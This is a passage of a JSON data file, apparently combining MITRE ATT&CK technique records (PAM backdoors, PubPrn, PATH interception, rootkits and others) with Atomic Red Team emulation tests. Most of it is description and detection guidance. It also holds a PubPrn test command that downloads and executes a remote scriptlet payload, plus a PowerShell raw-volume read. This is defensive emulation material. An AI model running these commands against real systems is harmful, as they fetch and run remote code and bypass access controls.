"https://linux.die.net/man/8/pam_unix", - "description": "die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020." - }, - { - "source_name": "Red Hat PAM", - "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules", - "description": "Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020." - }, - { - "source_name": "PAM Backdoor", - "url": "https://github.com/zephrax/linux-pam-backdoor", - "description": "zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020." - }, - { - "source_name": "PAM Creds", - "url": "https://x-c3ll.github.io/posts/PAM-backdoor-DNS/", - "description": "Fern\u00e1ndez, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020." - } - ], - "modified": "2021-10-17T14:48:33.580Z", - "name": "Modify Authentication Process: Pluggable Authentication Modules", - "description": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "credential-access" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nLook for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "2.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Logon Session: Logon Session Creation", - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "root" - ], - "identifier": "T1556.003" - }, - "atomic_tests": [] - }, - "T1578.004": { - "technique": { - "x_mitre_platforms": [ - "IaaS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Netskope" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1", - "type": "attack-pattern", - "created": "2020-06-16T18:42:20.734Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1578.004", - "url": "https://attack.mitre.org/techniques/T1578/004" - }, - { - "source_name": "Tech Republic - Restore AWS Snapshots", - "url": "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/", - "description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019." - }, - { - "source_name": "Google - Restore Cloud Snapshot", - "url": "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots", - "description": "Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019." - } - ], - "modified": "2021-03-08T10:33:02.128Z", - "name": "Revert Cloud Instance", - "description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Instance: Instance Metadata", - "Instance: Instance Start", - "Instance: Instance Modification", - "Instance: Instance Stop" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1148": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953", - "type": "attack-pattern", - "created": "2017-12-14T16:46:06.044Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1148", - "url": "https://attack.mitre.org/techniques/T1148" - }, - { - "external_id": "CAPEC-13", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/13.html" - } - ], - "modified": "2020-02-21T20:57:38.015Z", - "name": "HISTCONTROL", - "description": "The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL environment variable is also suspicious.", - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Log analysis", - "Host forensic analysis" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1222.002": { - "technique": { - "x_mitre_platforms": [ - "macOS", - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", - "type": "attack-pattern", - "created": "2020-02-04T19:24:27.774Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1222.002", - "url": "https://attack.mitre.org/techniques/T1222/002" - }, - { - "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100", - "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.", - "source_name": "Hybrid Analysis Icacls1 June 2018" - }, - { - "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110", - "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.", - "source_name": "Hybrid Analysis Icacls2 May 2018" - }, - { - "source_name": "20 macOS Common Tools and Techniques", - "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", - "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021." - } - ], - "modified": "2021-09-13T21:08:09.985Z", - "name": "File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification", - "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x, chmod -R 755, and chmod 777.(Citation: 20 macOS Common Tools and Techniques) \n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "File: File Metadata", - "Command: Command Execution" - ], - "x_mitre_permissions_required": [ - "User", - "root" - ], - "identifier": "T1222.002" - }, - "atomic_tests": [] - }, - "T1216.001": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Atul Nair, Qualys" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58", - "created": "2020-02-03T16:49:57.788Z", - "x_mitre_version": "2.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1216.001", - "url": "https://attack.mitre.org/techniques/T1216/001" - }, - { - "source_name": "pubprn", - "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn", - "description": "Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021." - }, - { - "source_name": "Enigma0x3 PubPrn Bypass", - "url": "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/", - "description": "Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).", - "modified": "2022-04-18T14:55:35.817Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Signed Script Proxy Execution: Pubprn", - "x_mitre_detection": "Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: Process Creation", - "Script: Script Execution" - ], - "x_mitre_defense_bypassed": [ - "Digital Certificate Validation", - "Application Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1216.001" - }, - "atomic_tests": [ - { - "name": "PubPrn.vbs Signed Script Bypass", - "auto_generated_guid": "9dd29a1f-1e16-4862-be83-913b10a88f6c", - "description": "Executes the signed PubPrn.vbs script with options to download and execute an arbitrary payload.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "remote_payload": { - "description": "A remote payload to execute using PubPrn.vbs.", - "type": "url", - "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct" - } - }, - "executor": { - "command": "cscript.exe /b C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs localhost \"script:#{remote_payload}\"\n", - "name": "command_prompt" - } - } - ] - }, - "T1574.007": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Stefan Kanthak" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32", - "created": "2020-03-13T14:10:43.424Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.007", - "url": "https://attack.mitre.org/techniques/T1574/007" - }, - { - "url": "https://capec.mitre.org/data/definitions/13.html", - "source_name": "capec", - "external_id": "CAPEC-13" - }, - { - "url": "https://capec.mitre.org/data/definitions/38.html", - "source_name": "capec", - "external_id": "CAPEC-38" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.\n\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.", - "modified": "2022-05-05T04:08:56.402Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Path Interception by PATH Environment Variable", - "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "File: File Creation", - "Process: Process Creation", - "Windows Registry: Windows Registry Key Modification", - "File: File Modification" - ], - "x_mitre_defense_bypassed": [ - "Application Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1006": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5", - "type": "attack-pattern", - "created": "2017-05-31T21:30:20.934Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1006", - "url": "https://attack.mitre.org/techniques/T1006" - }, - { - "url": "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin", - "description": "Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.", - "source_name": "Hakobyan 2009" - }, - { - "url": "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1", - "description": "Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.", - "source_name": "Github PowerSploit Ninjacopy" - } - ], - "modified": "2021-02-09T14:09:00.753Z", - "name": "Direct Volume Access", - "description": "Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.", - "x_mitre_version": "2.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Drive: Drive Access" - ], - "x_mitre_defense_bypassed": [ - "File monitoring", - "File system access controls" - ], - "x_mitre_permissions_required": [ - "Administrator" - ], - "identifier": "T1006" - }, - "atomic_tests": [ - { - "name": "Read volume boot sector via DOS device path (PowerShell)", - "auto_generated_guid": "88f6327e-51ec-4bbf-b2e8-3fea534eab8b", - "description": "This test uses PowerShell to open a handle on the drive volume via the `\\\\.\\` [DOS device path specifier](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#dos-device-paths) and perform direct access read of the first few bytes of the volume.\nOn success, a hex dump of the first 11 bytes of the volume is displayed.\n\nFor a NTFS volume, it should correspond to the following sequence ([NTFS partition boot sector](https://en.wikipedia.org/wiki/NTFS#Partition_Boot_Sector_(VBR))):\n```\n 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n\n00000000 EB 52 90 4E 54 46 53 20 20 20 20 \u00ebR?NTFS\n```", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "volume": { - "description": "Drive letter of the volume to access", - "type": "string", - "default": "C:" - } - }, - "executor": { - "command": "$buffer = New-Object byte[] 11\n$handle = New-Object IO.FileStream \"\\\\.\\#{volume}\", 'Open', 'Read', 'ReadWrite'\n$handle.Read($buffer, 0, $buffer.Length)\n$handle.Close()\nFormat-Hex -InputObject $buffer\n", - "name": "powershell", - "elevation_required": true - } - } - ] - }, - "T1564.008": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Office 365", - "Linux", - "macOS", - "Google Workspace" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Dor Edry, Microsoft" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff", - "created": "2021-06-07T13:20:23.767Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1564.008", - "url": "https://attack.mitre.org/techniques/T1564/008" - }, - { - "source_name": "MacOS Email Rules", - "url": "https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac", - "description": "Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021." - }, - { - "source_name": "Microsoft BEC Campaign", - "url": "https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/", - "description": "Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021." - }, - { - "source_name": "Microsoft Inbox Rules", - "url": "https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59", - "description": "Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021." - }, - { - "source_name": "Microsoft New-InboxRule", - "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps", - "description": "Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021." - }, - { - "source_name": "Microsoft Set-InboxRule", - "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps", - "description": "Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021." - }, - { - "source_name": "Microsoft Cloud App Security", - "url": "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154", - "description": "Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)", - "modified": "2022-04-12T15:22:29.599Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Email Hiding Rules", - "x_mitre_detection": "Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries.\n\nOn Windows systems, monitor for creation of suspicious inbox rules through the use of the New-InboxRule and Set-InboxRule PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, and MessageRules.plist files.(Citation: MacOS Email Rules)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Application Log: Application Log Content", - "File: File Modification", - "Command: Command Execution" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1014": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", - "created": "2017-05-31T21:30:26.496Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1014", - "url": "https://attack.mitre.org/techniques/T1014" - }, - { - "source_name": "CrowdStrike Linux Rootkit", - "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/", - "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017." - }, - { - "source_name": "BlackHat Mac OSX Rootkit", - "url": "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf", - "description": "Pan, M., Tsai, S. (2014). You can\u2019t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017." - }, - { - "source_name": "Symantec Windows Rootkits", - "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf", - "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017." - }, - { - "source_name": "Wikipedia Rootkit", - "url": "https://en.wikipedia.org/wiki/Rootkit", - "description": "Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016." - }, - { - "url": "https://capec.mitre.org/data/definitions/552.html", - "source_name": "capec", - "external_id": "CAPEC-552" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)", - "modified": "2022-05-05T05:09:39.723Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Rootkit", - "x_mitre_detection": "Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Drive: Drive Modification", - "File: File Modification", - "Firmware: Firmware Modification" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "File Monitoring", - "Host Intrusion Prevention Systems", - "Application Control", - "Signature-based Detection", - "System Access Controls" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1014" - }, - "atomic_tests": [] - }, - "T1109": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44", - "type": "attack-pattern", - "created": "2017-05-31T21:31:22.374Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1109", - "url": "https://attack.mitre.org/techniques/T1109" - }, - { - "description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.", - "source_name": "SanDisk SMART" - }, - { - "url": "https://www.smartmontools.org/", - "description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.", - "source_name": "SmartMontools" - }, - { - "url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html", - "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.", - "source_name": "ITWorld Hard Disk Health Dec 2014" - } - ], - "modified": "2020-10-23T15:04:14.614Z", - "name": 